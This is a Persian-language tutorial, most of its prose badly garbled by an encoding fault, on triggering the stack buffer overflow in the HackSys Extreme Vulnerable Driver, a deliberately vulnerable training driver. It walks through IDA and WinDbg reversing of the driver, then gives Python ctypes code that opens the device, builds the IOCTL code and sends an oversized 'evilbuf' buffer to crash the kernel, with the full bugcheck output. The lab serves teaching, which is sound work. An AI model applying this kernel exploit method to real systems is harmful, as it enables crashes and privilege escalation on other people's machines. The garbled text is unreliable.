قیهاننسب ضا  طاذنناان   DeviceIoControlزض  اننلس کننلضاط هاگننلق  کننه یننر اطنلقننه  قتاجننه قننای  

 IRP_MJ_DEVICE_CONTROLکننسا  آ ؿننت زض جننسو   طاذنناان  قیكننازب الیننس اننه ایاننسکؽ       

زاضز و جنننسو   0xeینننر قانننساض  IRP_MJ_DEVICE_CONTROLزض ایننن  حلهنننتب  نگنننله کانننی .

MajorFunction  0زض آ ؿننتx038   اظ قننطوت قنن  زضاینناض آشننلظ قیكنناز. اننطاس قالؾننلی   ننلاش  کننه

 ضا کاتط  قیهاس اظ  طقل  ظیط اؾتزلزه کایس: DeviceIoControlزضذااؾت 

dd  8624e8f8+0x38+e*4 L1 

ایاننننسکؽ  0xeآ ؿننننت قننننطوت جننننسو  اؾننننت و آ ؿننننت    0x038زض زؾننننتاض اننننللاب آزضؼ  

IRP_MJ_DEVICE_CONTROL  ط  قیكناز ظینطا هنط اقنلضه ینط      که انل قانساض ننسزس زهنلض ضن     اؾت

قكننرص قیهاننس کننه قننل  اننط قیرننااهی  یننر ذطوجنن       L1پننلضاقتط ب زض پلیننل  زهننلض الیننت اؾننت 

DWORD   . زؾنتاض   ننل نكنل  قن  زهننس کنه  نلاع  طاذنناان  قنسه زض  انلس کطنننل زض         قكنلهسه کانی

آینننل  اطضؾننن  قیهانننی  u طقنننل   انننل اؾنننتزلزه قنننل قیتننناانی  اؾنننت هاچانننی  edfe7150آزضؼ 

زؾنتاض اهشانل    قكنلهسه قیهاینس  زض نهنؽ پنلیی    زؾتاضاهشال هل زض آ  آزضؼ قشت نط هؿنتاس ینل ذینطب     

قشانن  آ  اینن  اؾننت کننه قننل زض قحلؾنن ه آزضؼ ایننط قشت ننط ن لقننیسب قشت ننط هؿننتاسب اقننل هننلس قاجنناز 

 کطزه ای .اقت له 
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 ایط قحلؾ لد اقت ل القس ال  صایط ظیط ضو اه ضو قیكایس:

 

 ضا کاتننننط  قیهاننننس  DeviceIoControl ننننلاش  کننننه زضذااؾننننت   پننننؽ قتاجننننه قننننسی    

IrpDeviceIoCtlHandler  اننل آ  قااجننه قننسی  کننه زاضاس زض ؾنناضؼ کننس زضاینناض اؾننت کننه پیكننتط

  لاع ق عا ضا صسا قیعز.ااز که اال اه هط زضذااؾت کلضاط یر  caseیر زؾتاض 

 

 IDAزض زیننؽ اؾننا لط  IrpDeviceIoCtlHandlerذننب ظقننل  آ  ضؾننیسه اؾننت کننه نگننله  اننه  ننلاع 

 .ایلنساظی 

 
ایننه قننط  آذننط  هننل  شلنن  ضا الظقیگطزانننس. IRQLکننه اننسو  پننلضاقتط هؿننت  KeGetCurrentIrql ننلاع 

 نننننلاع  زضایننننن  ضو نننننی  قینننننطوی ه ضو نننننی  ظینننننط ضو نننننی  انننننللا زضؾنننننت القنننننیس اننننن

IoGetCurrentIrpStackLocation  ضا قكنننلهسه قیهانننی  کنننه انننه ناننناا  پنننلضاقتط قت ینننطirp  ضا

اؾنت کنه انطوس     IO_STACK_LOCATIONذطوجن   نلاع ینر اقنلضه ینط انه ؾنلذتلض         زضیل ت قیهاس.

 شذیطه قیكاز. IrpSpقت یط 

https://msdn.microsoft.com/en-us/library/windows/hardware/ff552054(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/hardware/ff549174(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/hardware/ff549174(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/hardware/ff550659(v=vs.85).aspx
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 اضؾنل  قیكناز   کنلضاط  اطنلقنه  ؾنات  اظ کنه  IOCTL کنس  ینط ت  کنسهلس  صنایط انللا انطاس     زض حلهت کل  

قی لیؿننت  آ نتی ننه اننل قا ایننت اجننطا قنناز   IoGetCurrentIrpStackLocation ایننط  ننلاع .اؾننت

انه   القنس قاساضس اه جع صزط القنس یشان  ضو نی  اشنسس زض وا نع الینس جنلی  القنس کنه قنط  نلزضؾنت            

 نهؽ ظیط قی لقس:زض نتی ه ضو ی  اشسس  آ  پطـ کاس.

 

زننر کننه اننه صنناضد ذازکننلض ناقننته اؾننت قیتنناانی  قتاجننه قننای   IDA  اظ کلقاننت هننلی  کننه ذنناز

قشت نط اؾنت ینل    که کلضاط اظ ؾن   کنلضاط انطاس زضایناض قنل اضؾنل  کنطزه اؾنت          (IOCTL) قیهاس که کسس

 قینطوی   caseزؾنتاض   defaultقنل انه  ؿنات    انه  زضؾنت القنس    انللا  نهنؽ قنط  آذنط   پؽ ایط ب ذیط

 پی ل  ذ لس ظیط ضا زلپ قیهاس: DbgPrintاؾتزلزه اظ  لاع پطـ قیهای  که ال 

[-] Invalid IOCTL Code: 0x%X' 

 پطـ قیهای :اقل ایط پطـ زضؾت ن لقس قل اه ضو ی  ظیط 

 

 قننسه اظ کننلضاط قشت ننط قی لقننس  اضؾننل  IOCTLظز کننه کننس اظ ذننط هننلس ظیننط ضو ننی  قیتنناا  حننسؼ   

ضا انل   HEVDذنب زض این  آقناظـ قنل  نطاض اؾنت زضایناض         .اؾنت  caseقانساض یهن  اظ    وهاچای  اطااط ال

https://msdn.microsoft.com/en-us/library/windows/hardware/ff543632(v=vs.85).aspx
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هننل کننه  caseپننؽ اننه ؾننطان یهنن  اظ  اکؿننپلایت کاننی . Stackoverflowاؾننتزلزه اظ آؾننیب پننصیطس 

 .قیطوی  ضا پیلزه ؾلظس کطزه اؾت Stackoverflowآؾیب پصیطس 

 

 ضقته س ظیط زلپ قیكاز: DbgPrintزضااتساس ای  ضو ی  ال اؾتزلزه اظ  لاع 

****** HACKSYS_EVD_STACKOVERFLOW ****** 

ؾپؽ  لاش  اجطا قیكاز که  اؾنط اطنلقنه ننایؽ زضایناض ناقنته قنسه اؾنت اجنطا قیكناز و پلضاقتطهنلس           

واضز   StackOverflowIoctlHandler اننل زواننلض کلیننر اننطوس  ننلاع   .اؾننت Irpو  IrpSpآ  قننلقل 

زازه س اضؾنله  اظ ؾنات کنلضاط و اننساظه      صنایط ظینط اؾنت کنه     قهاتطی   ؿات این   نلاع    ب لاع قیكای 

اضؾننل  قیهاننسب ذننب قیتنناا      TriggerStackOverflowاننه  ننلاع   IrpSpس آ  ضا اظ اقننلضه یننط  

هاچاننی   (اؾننت )ذؿننته ن لقنن    TriggerStackOverflowحننسؼ ظز کننه  ننلاع آؾننیب پننصیط   

پی نل  ذ نلی  ضا زنلپ کانس و زیگنط ؾنطان       زر قیهاس کنه اینط کنلضاط زازه س اضؾنله  ضا نزطؾنته القنس       

 نطوز. TriggerStackOverflow لاع 
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 قیلنساظی .. TriggerStackOverflowذب حل  نگله  اه  لاع 

 
 memsetقیؿننلظز کننه اننل اؾننتزلزه اظ  ننلاع   2044اننل طننا   KernelBufferزض زؾننتاض اننللا قت یننط  

 ProbeForRead اؾننتزلزه اظ  ننلاع  اننل زضاینناضصننزط قیهاننسب ضا  KernelBuffقاننساض اوهیننه قتشیننط  

قیهاننس قننسه اؾننتزلزه ای ننلز زؾتطؾنن  ذاانننس  اننه ال طهننلی  کننه زض  اننلس کننلضاط  زننر کننطز اننطاس 

اؾننت الی   طاض ییننطز کننه ایننط  نن try/exceptقی لیؿننت زض الننا   ProbeForReadهاچاننی   ننلاع 

https://msdn.microsoft.com/en-us/library/1fdeehz6.aspx
https://msdn.microsoft.com/en-us/library/windows/hardware/ff559876(v=vs.85).aspx
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ضا جنناا  زهننس کننه قننلنع اظ کننطـ قننس    IRPزضذااؾننت ضخ زازب زضاینناض اتاانننس اننل یننر پی ننل  ذ ننل  

 .(BSOD) ؾیؿت  قیكاز

 
نانلیف   DbgPrintاطلاننل   اظ قانلزیط اضؾنل  قنسه  اؾنط کنلضاط ضا انل اؾنتزلزه اظ  نلاع          ؾپؽ زضایناض  

 Sizeقت یننط زض وا ننع هاننل  کننه   شننساز قكرصنن  memcpyاننل اؾننتزلزه اظ  ننلاع  و زض نهلیننت قیسهننس.

اظ  اؾننتب UserBufferاؾننت و اطااننط اننل طننا  قت یننط   TriggerStackOverflowکننه پننلضاقتط  ننلاع  

کپنن  قیهاننسب ایا ننل ز یاننل جننلی  اؾننت کننه   KernelBufferزض  UserBufferاظ قت یننط کلضاکتطهننلس 

 :آؾیب پصیطس ضخ قیسهسایكتط القس  KernelBufferاظ  UserBufferقحتایلد ایط طا  

 
 

 

 

https://msdn.microsoft.com/en-us/library/dswaw1wk.aspx
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 درایورتابع رتباط با ا

انطاس این  قاوناض قنل      اط نطاض کانی    ل زؾنتگله زضایناض اض  نل    ااتسا نیلظ زاضی  که ان اطاس ناقت  اکؿپلایت 

کنس اکؿنپلایت اؾنتزلزه کانی  وهن   نطجی  قینسه  کنه انل کتلارلننه           قیتاانی  اظ ظال  ؾ  انطاس ناقنت    

ctypes       زض پننلیتا  کننسهلی  اننل نحننا ظاننل  ؾنن  ااایؿننی  کننه آقننالی  اننل کتلارلنننهctypes   هنن

 .قحؿا  قیكاز

کنه ناقنت  و زض  آ  آؾنلنتط     اطنلقه که اس  طاض اؾت ااایؿنی  انه زانس ارنف جعین   اؿنی  قیهانی        

 قاز.

 اسؾت آوضز  هاس  زؾتگله .1

   StackOverflowIoctlHandler لاع اطاس  IOCTLپیسا کطز  کس قتالؾب  .2

 تیال 2048ؾلذت ال طس ال طا   .3

 StackOverflowIotclHandler لاع آؾیب پصیط اضؾل  ال ط اه  .4

 

 بدست آوردن هندل دستگاه

کننه ؾننلذتلض  ننلاع اننه صنناضد ظیننط اؾننتزلزه قیهاننی   CreateFileاننطاس کؿننب هاننس  زؾننتگله اظ  ننلاع 

 اؾت:

HANDLE WINAPI CreateFile( 

  _In_    LPCTSTR lpFileName, 

  _In_    DWORD dwDesiredAccess, 

  _In_    DWORD dwShareMode, 

  _In_opt_ LPSECURITY_ATTRIBUTES 

 lpSecurityAttributes, 

  _In_  DWORD dwCreationDisposition,           

 _In_  DWORD dwFlagsAndAttributes, 

 _In_opt_ HANDLE  hTemplateFile 

); 

 Pycharmب ضا اننلظ کایننس قرصننل اظ  کننه اننطاس ناقننت  کننسهلس پننلیتا  اؾننتزلزه قیهایننس     IDEهننط 

 CreateFile ننلاع  ctype. ذننب لاظ  اؾننت کننه زض  پننلیتا  2.7اؾننتزلزه قیهاننی  و هاچاننی  وضغ   

https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
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ب ؾننپؽ  ننلاش  اننل نننل  زهرننااه اننطاس اسؾننت آوضز  هاننس  زؾننتگله ای ننلز کایننس    .ضا  طاذنناان  کاننی 

... ط پننلضاقتنیننلظ زاضینن  ضا  شطینن  قیهاننی  قنن لا    CreateFile ننلاع  طاذنناان  پلضاقتطهننلی  کننه اننطاس  

کنننه زؾتطؾننن   dwDesiredAccess اؾنننت GENERIC_WRITE و GENERIC_READحنننلوس 

اطاانط اؾننت اننل   GENERIC_READقانساض قننلکطوس  زضذااؾنت قیهاننسب انه  ط یننب   ذااننس  و ناقننت  ضا  

0x80000000  وGENERIC_WRITE   0اننننل قاننننساضx40000000     اطااننننط اؾننننت هاچاننننی

ضا زض او  ؾننننناضؼ  FILE_ATTRIBUTE_NORMALو  OPEN_EXISTINGقانننننساضهلس قنننننلکطو 

 ذلضج اظ  لاع  شطی  کایس.

GENERIC_READ = 0x80000000 

GENERIC_WRITE = 0x40000000 

OPEN_EXISTING = 0x00000003 

FILE_ATTRIBUTE_NORMAL = 0x00000080 

ضقننته هننل اننه صنناضد پیكننزطن زض پننلیتا   زاضینن  اه تننه  CreateFileحننل  نیننلظ اننه  طاذنناان   ننلاع  

Unicode    هؿننتاس پننؽ قننل الیننس اظ  ننلاعCreateFileW     اؾننتزلزه کاننی ب  ننلاع ضا اننه صنناضد ظیننط

زض  ؿنات  ای نلز قنسه    Symbolic Linkب  اجنه زاقنته القنیس کنه ننل  زؾنتگله هانل          شطی  قیهانی  

 . حلیل کس زضایاض اؾت

def GetHandle(): 

    #Bedast Avordan Handle Device Driver 

    print '[*]Getting device handle...' 

    lpFileName = 

u"\\\\.\\HacksysExtremeVulnerableDriver" 

    dwDesiredAccess = GENERIC_READ | GENERIC_WRITE 

    dwShareMode = 0 

    lpSecurityAttributes = None 

    dwCreationDisposition = OPEN_EXISTING 

    dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL 

    hTemplateFile = None 

 

    handle = windll.kernel32.CreateFileW(lpFileName, 

                         dwDesiredAccess, 
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                         dwShareMode, 

                         lpSecurityAttributes, 

                         dwCreationDisposition, 

                         dwFlagsAndAttributes, 

                         hTemplateFile) 

اضجننلت زازه قیكنناز حننلوس قاننساض  handleهاچاننی  زننر قیهاننی  کننه ذطوجنن   ننلاع کننه زض قت یننط  

 القس پؽ زاضی : قشت طس

if not handle or handle == -1: 

    print "\t[-]Error getting device handle: " + 

FormatError() 

    sys.exit(-1) 

 

 

   StackOverflowIoctlHandlerبزای تابع  IOCTLپیدا کزدن کد متناسب 

  IOCTL ساختار

ioctl      ؿنلظی  و اظ ططینق آ    قیزضؾنات ؾن   کنلضاط    آ  ضا قنل   کنه یر کس که زض وا ع ینر ننسز اؾنت

ایتن  زاضز زض قنهل ظینط نانلیف زازه      32. ؾنلذتلضس کنه این  کنس     اض  نل  اط نطاض کانی    زضایناض ذناز    لا

 .قسه اؾت

 

ioctl که کااس ق  ای لز قلکطو ای  ال ضا IOCTL_Device_Function  اؾت اذتیلضس نلق. 

#define IOCTL_Device_Function CTL_CODE(DeviceType, Function, Method, 

Access) 

 :پلضاقتطهل
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 DeviceType :قانساضهلس  انل  کنلضس  نیؿنت  ذلصن   ا نعاض  ؾنرت  انطاس  قنل  زضایناض  که آن لی  اظ 

 القننس زاقننته 0x8000 اظ ایكننتط قاننساضس الیننس زهننی  قنن  کننه قاننلزیط. نننساضی  قننسه  شطینن 

 انس قسه ضظضو قلکطوؾل ت اطاس 0x8000 ظیط قالزیط زا 

 FunctionCode : قننل ذنناز ایل تننس ا زننل  اؾننت  ننطاض کننه اؾننت نالیننل   وا ننع زض قاننساض اینن 

 کاتننط قاننلزیط زننا  القننس 0x800 اظ ایكننتط الیننس نننسز اینن  و قیهننا  قكننرص ضا آ  قاننساض

 انس قسه ضظضو

 TransferType :القس  اانس ق  قالزیط ای  قلقل که زازه حل وه اه زؾتطؾ  نات 

METHOD_BUFFERED 

METHOD_IN_DIRECT 

METHOD_OUT_DIRECT 

METHOD_NEITHER 

 RequiredAccess : واضز الیننس زؾننتگله اظ یننط ت  هاننس  هاگننل  زض کننه زؾتطؾنن  قیننعا 

 هنن  یشانن  (FILE_ANY_ACCESS) یننط تی  ضا هننل زؾتطؾنن  هاننه ذنناز زضاینناض زض قننل کاننی 

کننننس  HackSysExtremeVulnerableDriver.hزض  لیننننل . ناقننننت  هنننن  و ذاانننننس 

IOCTL  لاع اطاس StackOverflowIoctlHandler اه ای  صاضد  شطی  قسه اؾت 

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW 

CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, 

FILE_ANY_ACCESS) 

اننطاس ؾننلذت کننس  CTL_CODEقننلکطو  یننل ایاهننهذننط اننللا ضا زض کننس ذنناز کپنن  پیؿننت قننل قیتنناانی  

 ننلاش  اننل نننل   CTL_CODEاننطاس پیننلزه ؾننلظس قننلکطو  .پیننلزه ؾننلظس کاننی  IOCTLقاحصننط اننه  ننطز 

ctl_code . ای لز قیهای  و زؾتاضاد ظیط ضا زض آ  قیاایؿی 

def ctl_code(function, 

             devicetype = FILE_DEVICE_UNKNOWN, 

             access = FILE_ANY_ACCESS, 

             method = METHOD_NEITHER): 

    """Recreate CTL_CODE macro to generate driver 

IOCTL""" 

https://msdn.microsoft.com/en-us/library/ms902086.aspx
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    return ((devicetype << 16) | (access << 14) | 

(function << 2) | method) 

 

و  FILE_ANY_ACCESSب FILE_DEVICE_UNKNOWNزیط لاه تنننننننننننننننننه قاننننننننننننننننن

METHOD_NEITHER . ضا الیس زؾت  واضز کای  یل آ  هل ضا زض ااتساس ؾاضؼ  شطی  کای 

FILE_DEVICE_UNKNOWN = 0x00000022 

FILE_ANY_ACCESS = 0x00000000 

METHOD_NEITHER = 0x00000003 

 اطاس اقتحل   لاع اللا کس ظیط ضا قیاایؿی .

ioctl = ctl_code(0x800) 

print hex(ioctl) 

 

نهتنه اس کنه زض این   ؿنات وجناز زاضه ایاهنه        اؾنت.  0x222003ذطوج  زؾنتاض انللا قانساض ننسزس     

ضا اننه ضاحتنن  ارنناانی  اقننل ایننط  IOCTL  کننساینن  کننیؽ قننل ؾنناضؼ کننس زضاینناض زاضینن  و قیتننانی   زض 

ذننب نگننله  اننه  قشت ننط ضا پیننسا کاننی ؟ IOCTLؾنناضؼ کننس زض اذتیننلض قننل ن نناز ز نناض قیتانؿننی  کننس 

 قیلنساظی . IDAزض  IrpDeviceIoCtlHandler لاع 

 
 قنل ضا انه  نلاع   اقنل قنط  آذنط کنس      0x22201Bکنسس زض این   ؿنات  نطاض زاضز     هالن اض کنه قی یاینس   

(StackOverflowIoctlHandler) ازاقننه س ! اض اؾننت اننل ط ضا اننه آ  اضؾننل  کاننی ب نای ننطز  کننه  ننط

 کس ضا اطضؾ  قیهای .
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 IOCTLاننه کننسهلس  0x22201Bاننطوس قاننساض هاننلن اض کننه قكننلهسه قیهایننس اننل نالیننلد ضیلضنن     

 قیطؾی .زیگط 

 

 بایت 2048ساخت بافزی با طول 

ب زاضز create_string_bufferیننر  ننلاع اننطاس ؾننلذت اننل ط اننه نننل    ctypesکتلارلنننه ذاقنن رتلنه 

 ال کس ظیط ال ط ذاز ضا قیؿلظی .

    evilbuf = create_string_buffer("A"*2044 + "B"*8 + "C"*8 + "D"*8) 

 

 StackOverflowIotclHandlerارسال بافز به تابع آسیب پذیز 

 DeviceIoControl  ننلاع زؾننتگله اظ اننل ط قنناضز نوننط اننه   اننه هاننطاه  IOCTLزؾننتاض  اننطاس اضؾننل  

 اه صاضد ظیط اؾت. DeviceIoControlب ؾلذتلض  لاع اؾتزلزه قیهای 

BOOL WINAPI DeviceIoControl( 

  _In_        HANDLE       hDevice, 

  _In_        DWORD        dwIoControlCode, 

  _In_opt_    LPVOID       lpInBuffer, 

  _In_        DWORD        nInBufferSize, 

  _Out_opt_   LPVOID       lpOutBuffer, 

https://docs.python.org/2/library/ctypes.html#ctypes.create_string_buffer
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216(v=vs.85).aspx
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  _In_        DWORD        nOutBufferSize, 

  _Out_opt_   LPDWORD      lpBytesReturned, 

  _Inout_opt_ LPOVERLAPPED lpOverlapped 

); 

 :پلضاقتطهل

 hDevice: هاس  ذطوج  که اظ CreateFile  ضا ایا ل الیس  طاض زهیس یط ته ای 

 dwIoControlCode: کس IOCTL  پیكتط ؾلذته ای  ایا ل  طاض قیگیطزقل که 

 lpInBuffer:                انل طس اؾنت کنه قنل قن  ذنااهی  انه زضایناض ازطؾنتی  این  انل ط قن   ااننس هنط

 القس struct  طقت  ق لا یر ضقته یل

 nInBufferSize: وضوزس طا  ال ط 

 lpOutBuffer: ال طس که زضایاض  طاض اؾت اطلانل   زض آ   طاض زهس 

 nOutBufferSize:  طا  ال ط ذطوج 

 lpBytesReturned:       انننساظه اطلانننل   کننه زض اننل ط ذطوجنن  ضیرتننه قنن  قنناز. زض وا ننع

 القس که ای  پلضاقتط قكرص ق  کاسقاه  اظ کا زهتط اظ انساظه ال ط انساظه وا ش 

 و ال ط قل ضا اه زؾتگله اضؾل  کاس. IOCTLقیؿلظی  که کس  triggerپؽ  لاع اس ال نل  

def trigger(hDevice, dwIoControlCode): 

    """Create evil buf and send IOCTL""" 

    evilbuf = create_string_buffer("A"*2044 + "B"*8 + 

"C"*8 + "D"*8) 

    lpInBuffer = addressof(evilbuf) 

    nInBufferSize = 2069 

    lpOutBuffer = None 

    nOutBufferSize = 0 

    lpBytesReturned = None 

    lpOverlapped = None 

 

    pwnd = windll.kernel32.DeviceIoControl(hDevice, 

                                           

dwIoControlCode, 
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lpInBuffer, 

                                           

nInBufferSize, 

                                           

lpOutBuffer, 

                                           

nOutBufferSize, 

                                           

lpBytesReturned, 

                                           

lpOverlapped) 

    if not pwnd: 

        print "\t[-]Error: Not pwnd :(\n" + 

FormatError() 

        sys.exit(-1) 

 

ویانسوظس کنه   نونط زاقنته القنیس کنه اقهنل  زاضز       صس زاضی  کسس کنه ناقنته اس ضا آظقنلیف کانی ب زض     

ب زض نتی ننه زی ننلیط  (BSODاؾننت پننؽ اظ اجننطاس اطنلقننه قننل کننطـ کاننس )      HEVDحلقننل زضاینناض  

Windbg   کننس پنلیتا   نلاع   قلقنی  ق نلظس ذنناز قتصنل کاینس و زض انتهنلس      ضا انهtrigger    ضا انه اینن

 صاضد صسا اعنیس.

trigger(GetHandle(), ctl_code(0x800)) 

 

 اجطاس اکؿپلایت:پؽ اظ  Windbgزی لیط زض نهؽ ظیط وضشیت 
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 وضشیت ضجیؿتطهل:

 
 :analyze -v!و زض نهلیت ذطوج  زؾتاض 

***************************************************************************
**** 
*                                                                             * 
*                        Bugcheck Analysis                                    * 
*                                                                             * 
***************************************************************************
**** 
 
Unknown bugcheck code (0) 
Unknown bugcheck description 
Arguments: 
Arg1: 00000000 
Arg2: 00000000 
Arg3: 00000000 
Arg4: 00000000 
Debugging Details: 
------------------ 
Loading symbols for 7c800000     kernel32.dll ->   kernel32.dll 
Loading symbols for 1d1a0000      _ctypes.pyd ->   _ctypes.pyd 
*** WARNING: Unable to verify checksum for _ctypes.pyd 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for _ctypes.pyd -  
Loading symbols for 1e000000     python27.dll ->   python27.dll 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for python27.dll -  
Loading symbols for 1d000000      pythonw.exe ->   pythonw.exe 
*** ERROR: Module load completed but symbols could not be loaded for pythonw.exe 
Loading symbols for f7ad5000     mssmbios.sys ->   mssmbios.sys 
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PROCESS_NAME:  pythonw.exe 
 
FAULTING_IP:  
HEVD!StackOverflowIoctlHandler+6c [e:\project\offsec\hacksys\driver\stackoverflow.c @ 
121] 
ee080e5c 8945f4          mov     dword ptr [ebp-0Ch],eax 
 
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 
0x%08lx. The memory could not be %s. 
 
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s. 
 
EXCEPTION_PARAMETER1:  00000001 
 
EXCEPTION_PARAMETER2:  43434337 
 
WRITE_ADDRESS:  43434337  
 
FOLLOWUP_IP:  
HEVD!StackOverflowIoctlHandler+6c [e:\project\offsec\hacksys\driver\stackoverflow.c @ 
121] 
ee080e5c 8945f4          mov     dword ptr [ebp-0Ch],eax 
 
BUGCHECK_STR:  ACCESS_VIOLATION 
 
DEFAULT_BUCKET_ID:  STRING_DEREFERENCE 
 
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre 
 
LAST_CONTROL_TRANSFER:  from ee0821fc to ee080e5c 
 
STACK_TEXT:   
ee156c20 ee0821fc 864072d0 86407340 00000000 HEVD!StackOverflowIoctlHandler+0x6c 
[e:\project\offsec\hacksys\driver\stackoverflow.c @ 121] 
ee156c40 804ef18f 864bec90 864072d0 806e6410 HEVD!IrpDeviceIoCtlHandler+0xac 
[e:\project\offsec\hacksys\driver\hacksysextremevulnerabledriver.c @ 208] 
ee156c50 8057f982 86407340 86465350 864072d0 nt!IopfCallDriver+0x31 
ee156c64 805807f7 864bec90 864072d0 86465350 nt!IopSynchronousServiceTail+0x70 
ee156d00 80579274 00000670 00000000 00000000 nt!IopXxxControlFile+0x5c5 
ee156d34 8054161c 00000670 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 
ee156d34 7c90e4f4 00000670 00000000 00000000 nt!KiFastCallEntry+0xfc 
0021f59c 7c90d26c 7c801675 00000670 00000000 ntdll!KiFastSystemCallRet 
0021f5a0 7c801675 00000670 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 
0021f600 1d1aeb5a 00000670 00222003 0139fa38 kernel32!DeviceIoControl+0xdd 
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WARNING: Stack unwind information not available. Following frames may be wrong. 
0021f62c 1d1ad7a6 1d1ad5f0 0021f64c 00000020 _ctypes!DllCanUnloadNow+0x603a 
0021f65c 1d1a983e 7c801629 0021f770 382562cc _ctypes!DllCanUnloadNow+0x4c86 
0021f70c 1d1aa06e 00001100 7c801629 0021f750 _ctypes!DllCanUnloadNow+0xd1e 
0021f834 1d1a59e1 7c801629 012141f0 00000000 _ctypes!DllCanUnloadNow+0x154e 
0021f890 1e08e16c 00cb4978 012141f0 00000000 _ctypes+0x59e1 
0021f8ac 1e1118c4 01334918 012141f0 00000000 python27!PyObject_Call+0x4c 
0021f8d4 1e111464 01334918 00000008 01237e74 python27!PyEval_GetFuncDesc+0x824 
0021f8fc 1e10f1bf 0021f958 00000002 01237cf0 python27!PyEval_GetFuncDesc+0x3c4 
0021f974 1e111541 01237cf0 00000000 01352070 python27!PyEval_EvalFrameEx+0x23ff 
0021f994 1e111452 0021fa20 00000002 00000000 python27!PyEval_GetFuncDesc+0x4a1 
0021f9c4 1e10f1bf 0021fa20 0134db08 00d25f98 python27!PyEval_GetFuncDesc+0x3b2 
0021fa38 1e1102bc 0134d9d0 00000000 00a6aa50 python27!PyEval_EvalFrameEx+0x23ff 
0021fa80 1e112687 00d25f98 00a6aa50 00a6aa50 python27!PyEval_EvalCodeEx+0x7dc 
0021fad4 1e10e223 0134b030 00a6aa50 00a6aa50 python27!PyEval_SliceIndex+0xa67 
0021fb50 1e1102bc 0134b030 00000000 00a31030 python27!PyEval_EvalFrameEx+0x1463 
0021fb98 1e0b5021 00b57ba8 00b68300 00000000 python27!PyEval_EvalCodeEx+0x7dc 
0021fbe8 1e08e16c 01349c70 012f2ee0 013415d0 python27!PyFunction_SetClosure+0x9a1 
0021fc04 1e111bc6 01349c70 012f2ee0 013415d0 python27!PyObject_Call+0x4c 
0021fc30 1e10f26b 01349c70 00000003 00000001 python27!PyEval_GetFuncDesc+0xb26 
0021fcb0 1e1102bc 00c09850 00000000 00000001 python27!PyEval_EvalFrameEx+0x24ab 
0021fcfc 1e1115a3 00b051d0 00b68300 00000000 python27!PyEval_EvalCodeEx+0x7dc 
0021fd3c 1e111452 0021fdc8 00000001 00000000 python27!PyEval_GetFuncDesc+0x503 
0021fd6c 1e10f1bf 0021fdc8 00a94168 00a66b60 python27!PyEval_GetFuncDesc+0x3b2 
0021fde0 1e1102bc 00a94030 00000000 0021fed4 python27!PyEval_EvalFrameEx+0x23ff 
0021fe28 1e13efdf 00a66b60 00a6aa50 00a6aa50 python27!PyEval_EvalCodeEx+0x7dc 
0021fe64 1e13eeed 00b2d8e8 00a6aa50 00a6aa50 python27!PyRun_FileExFlags+0xcf 
0021fe84 1e13e354 00982a30 00000101 00a6aa50 python27!PyRun_StringFlags+0x4d 
0021fea8 1e042456 00982a30 0021fed4 1d003378 
python27!PyRun_SimpleStringFlags+0x54 
0021ff24 1d001017 00000004 009829c8 1d0011c5 python27!Py_Main+0x8b6 
0021ffc0 7c817067 1e099f0d 1e246df8 7ffd6000 pythonw+0x1017 
0021fff0 00000000 1d0013a4 00000000 78746341 kernel32!BaseProcessStart+0x23 
 
 
STACK_COMMAND:  kb 
 
FAULTING_SOURCE_LINE:  e:\project\offsec\hacksys\driver\stackoverflow.c 
 
FAULTING_SOURCE_FILE:  e:\project\offsec\hacksys\driver\stackoverflow.c 
 
FAULTING_SOURCE_LINE_NUMBER:  121 
 
FAULTING_SOURCE_CODE:   
   117:     UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; 
   118:     Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; 
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   119:  
   120:     if (UserBuffer) { 
>  121:         Status = TriggerStackOverflow(UserBuffer, Size); 
   122:     } 
   123:  
   124:     return Status; 
   125: } 
   126:  
 
 
SYMBOL_STACK_INDEX:  0 
 
SYMBOL_NAME:  HEVD!StackOverflowIoctlHandler+6c 
 
FOLLOWUP_NAME:  MachineOwner 
 
MODULE_NAME: HEVD 
 
IMAGE_NAME:  HEVD.sys 
 
DEBUG_FLR_IMAGE_TIMESTAMP:  59c45e06 
 
FAILURE_BUCKET_ID:  ACCESS_VIOLATION_HEVD!StackOverflowIoctlHandler+6c 
 
BUCKET_ID:  ACCESS_VIOLATION_HEVD!StackOverflowIoctlHandler+6c 
 
ANALYSIS_SOURCE:  KM 
 
FAILURE_ID_HASH_STRING:  km:access_violation_hevd!stackoverflowioctlhandler+6c 
 
FAILURE_ID_HASH:  {96453ec7-c64a-e6cb-872a-d6905aeca24e} 
 
Followup: MachineOwner 
--------- 

قحاننق هننلس اقایتنن   ننطاض ذنناا  زاضه و اطلانننلد جننلقش  زض اذتیننلض نالهننطز  Windbgوا شننل زی ننلیط 

 قیسهب اه پلیل  قالهه ضؾیسی .

اکؿننپلایت اینن  قالهننه  ؿننات زوقنن  هنن  ذااهننس زاقننت وهنن  اظ آن ننلی  کننه قننرص ذنناز  اظ   اه تننه 

کلقنل اطنلات ننساض ب  صنس زاض  او  ذناز  ق لهشنل   زض این  ظقیانه ان نل           زضایناض هنل انه صناضد     کطز  

اننطاس اجننطاس قننل کننس زض ؾنن   کطنننل ناقننت  اکؿننپلایت کننه حننلوس اننسه  و اشننس  ؿننات زو  قالهننه 

 ذااه  ناقت.اؾت ضا 
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 منابع

 زاض آنهل کال   كهط ضا که اظ نایؿاسه س  قالاع ظیط اؾتزلزه قسهاظ  نیالًاؿیلضس اظ جالاد قالهه 

 کتل    عیه و  حلیل اسا عاض -

 (http://binthought.blog.ir زهطاد صزط و یه  )والاگ  -

